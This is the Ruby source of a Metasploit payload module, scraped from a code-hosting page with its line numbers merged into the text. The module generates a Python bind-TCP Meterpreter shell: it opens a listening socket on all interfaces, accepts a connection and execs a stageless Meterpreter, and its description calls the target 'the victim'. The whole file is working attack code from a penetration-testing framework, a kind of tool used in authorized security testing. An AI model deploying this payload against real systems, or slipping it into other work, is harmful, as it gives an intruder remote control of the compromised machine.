Path: blob/master/modules/payloads/singles/python/meterpreter_bind_tcp.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Payload::Python10include Msf::Payload::Python::BindTcp11include Msf::Payload::Python::MeterpreterLoader1213def initialize(info = {})14super(15merge_info(16info,17'Name' => 'Python Meterpreter Shell, Bind TCP Inline',18'Description' => 'Connect to the victim and spawn a Meterpreter shell',19'Author' => 'Spencer McIntyre',20'License' => MSF_LICENSE,21'Platform' => 'python',22'Arch' => ARCH_PYTHON,23'Handler' => Msf::Handler::BindTcp,24'Session' => Msf::Sessions::Meterpreter_Python_Python25)26)27end2829def generate_bind_tcp(opts = {})30socket_setup = "bind_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"31socket_setup << "bind_sock.bind(('0.0.0.0', #{opts[:port]}))\n"32socket_setup << "bind_sock.listen(1)\n"33socket_setup << "s, address = bind_sock.accept()\n"34opts[:stageless_tcp_socket_setup] = socket_setup35opts[:stageless] = true3637met = stage_meterpreter(opts)38py_create_exec_stub(met)39end40end414243